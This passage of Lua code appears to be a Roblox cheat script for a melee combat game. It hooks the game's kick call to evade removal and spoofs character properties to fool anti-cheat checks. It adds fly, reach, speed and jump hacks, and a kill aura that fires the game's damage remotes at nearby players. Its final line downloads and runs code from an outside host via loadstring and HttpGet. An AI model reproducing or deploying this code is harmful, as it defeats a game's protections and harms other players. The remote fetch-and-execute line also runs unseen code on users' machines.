Color3.fromHSV(hue2, 1, 1) callback(color3) ColorPicker.BackgroundColor3 = color3 else con:Disconnect() end end) end end return colorFuncs end return functions end for _, tbl in ipairs(getgc(true)) do if typeof(tbl) == "table" and rawget(tbl, "Remote") then tbl.Remote.Name = tbl.Name end end local local_player = game:GetService("Players").LocalPlayer local kick_hook; kick_hook = hookmetamethod(game, "__namecall", newcclosure(function(...) local args = {...} local self = args[1] local namecall_method = getnamecallmethod() if not checkcaller() and self == local_player and namecall_method == "Kick" then return end return kick_hook(...) end)) local Movement = library:Window("Movement") local Melee = library:Window("Melee") local Credits = library:Window("Credits") local function keydown(key) return game:GetService("UserInputService"):IsKeyDown(key) end local function GetClosest() local Character = game.Players.LocalPlayer.Character local HumanoidRootPart = Character and Character:FindFirstChild("HumanoidRootPart") if not (Character or HumanoidRootPart) then return end local TargetDistance = math.huge local Target for i,v in ipairs(game.Players:GetPlayers()) do if v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("HumanoidRootPart") then local TargetHRP = v.Character.HumanoidRootPart local mag = (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - TargetHRP.Position).magnitude if mag < TargetDistance then TargetDistance = mag Target = v end end end return Target end local function SecureSetProperty(Instance,Property,Value) for i,v in pairs(getconnections(Instance:GetPropertyChangedSignal(Property))) do v:Disable() end for i,v in pairs(getconnections(Instance.Changed)) do v:Disable() end if not Instance:FindFirstChild(Property) then Instance[Property] = Value return Instance:GetPropertyChangedSignal(Property):Connect(function() Instance[Property] = Value end) end end local function SpoofProperty(Instance,Property,Value) local OldIndex OldIndex = hookmetamethod(game, "__index", newcclosure(function(Self, Key) if not checkcaller() and Self == Instance and Key == Property then return Value end return OldIndex(Self, Key) end)) end local Flying = false Movement:Toggle("Fly", false, function(bool) Flying = bool if bool == false then return end while Flying do local move = game.Players.LocalPlayer.Character.Humanoid.MoveDirection * 16 * 4 if keydown(Enum.KeyCode.Space) then game.Players.LocalPlayer.Character.Humanoid.RootPart.Velocity = Vector3.new(0,55,0) + move elseif keydown(Enum.KeyCode.C) then game.Players.LocalPlayer.Character.Humanoid.RootPart.Velocity = Vector3.new(0,-55,0) + move else game.Players.LocalPlayer.Character.Humanoid.RootPart.Velocity = Vector3.new(0,2,0) + move end game:GetService("RunService").Heartbeat:wait() end end) local Reaching = false Melee:Toggle("Reach", false, function(bool) Reaching = bool if bool == false then return end local character = game.Players.LocalPlayer.Character local torso = character.Torso local rightarm = character["Right Arm"] local rightshoulder = torso["Right Shoulder"] if rightshoulder and rightshoulder.Enabled == true then local rightshoulderclone = rightshoulder:Clone() rightshoulderclone.Enabled = false rightshoulder:Destroy() rightshoulderclone.Parent = torso end for i,v in pairs(game.Players.LocalPlayer.Backpack:GetDescendants()) do if v:IsA("BasePart") then v.Massless = true end end if rightarm:FindFirstChild("RagdollBallSocket") then rightarm.RagdollBallSocket.Enabled = false end while Reaching do sethiddenproperty(rightarm,"AssemblyLinearVelocity",Vector3.new(100,100,100)) rightarm.Velocity = Vector3.new(100,100,100) if torso:FindFirstChild("Right Shoulder") then local rightarm = character["Right Arm"] local rightshoulder = torso["Right Shoulder"] local rightshoulderclone = rightshoulder:Clone() rightshoulderclone.Enabled = false rightshoulder:Destroy() rightshoulderclone.Parent = torso end local target = GetClosest() if target.Character:FindFirstChild("Head") and (character.Head.Position - target.Character.Head.Position).magnitude < 100 then rightarm.CFrame = GetClosest().Character.Head.CFrame * CFrame.new(math.random(-0,0),0,0) elseif character:FindFirstChild("Head") then rightarm.CFrame = character.Head.CFrame * CFrame.new(math.random(-0,0),0,0) end game:GetService("RunService").Heartbeat:wait() end end) local Killaura = false Melee:Toggle("Kill Aura",false,function(bool) Killaura = bool if bool == false then return end while Killaura do for i = 1,3 do local target = GetClosest().Character local character = game.Players.LocalPlayer.Character if character:FindFirstChildOfClass("Tool") and character:FindFirstChildOfClass("Tool"):FindFirstChild("Hitboxes") and target:FindFirstChild("Torso") and (character:FindFirstChildOfClass("Tool").Hitboxes.Hitbox.Position - target.Torso.Position).magnitude <= 10 and target.SemiTransparentShield.Transparency == 1 then local tool = character:FindFirstChildOfClass("Tool") local targetpart = target.Torso local hitbox = tool.Hitboxes.Hitbox local pos = tool.Hitboxes.Hitbox.Position --character.HumanoidRootPart.Position game:GetService("ReplicatedStorage").Communication.Events.MeleeSwing:FireServer(tool, i) game:GetService("ReplicatedStorage").Communication.Events.MeleeDamage:FireServer(tool, targetpart, hitbox, pos, CFrame.new(), Vector3.new(), Vector3.new()) wait() end end wait(.4) end end) local RagdollFunction local RagdollTable for _, tbl in ipairs(getgc(true)) do if typeof(tbl) == "table" and rawget(tbl, "toggleRagdoll") then RagdollFunction = tbl.toggleRagdoll RagdollTable = tbl end end Movement:Toggle("Anti-Ragdoll",false,function(bool) if bool == true then RagdollTable.toggleRagdoll = function() end elseif bool == false then RagdollTable.toggleRagdoll = RagdollFunction end end) local WalkSpeed local WalkSpeedValue = 16 Movement:Toggle("WalkSpeed", false, function(bool) local character = game.Players.LocalPlayer.Character if bool then local hum = game.Players.LocalPlayer.Character.Humanoid SpoofProperty(hum,"WalkSpeed",WalkSpeedValue) for i,v in pairs(getconnections(hum:GetPropertyChangedSignal("WalkSpeed"))) do v:Disable() end for i,v in pairs(getconnections(hum.Changed)) do v:Disable() end hum.WalkSpeed = WalkSpeedValue WalkSpeed = hum:GetPropertyChangedSignal("WalkSpeed"):Connect(function() hum.WalkSpeed = WalkSpeedValue end) else WalkSpeed:Disconnect() end end) Movement:Slider("WalkSpeed Value",16,150,16, function(value) WalkSpeedValue = value game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = WalkSpeedValue end) local JumpPower local JumpPowerValue = 16 Movement:Toggle("JumpPower", false, function(bool) local character = game.Players.LocalPlayer.Character if bool then local hum = game.Players.LocalPlayer.Character.Humanoid SpoofProperty(hum,"JumpPower",JumpPowerValue) for i,v in pairs(getconnections(hum:GetPropertyChangedSignal("JumpPower"))) do v:Disable() end for i,v in pairs(getconnections(hum.Changed)) do v:Disable() end hum.JumpPower = JumpPowerValue WalkSpeed = hum:GetPropertyChangedSignal("JumpPower"):Connect(function() hum.JumpPower = JumpPowerValue end) else JumpPower:Disconnect() end end) Movement:Slider("JumpPower Value",16,150,16, function(value) JumpPowerValue = value game.Players.LocalPlayer.Character.Humanoid.JumpPower = JumpPowerValue end) loadstring(game:HttpGet("https://cheeseskid.tk/shit/combat_warriors.lua",true))()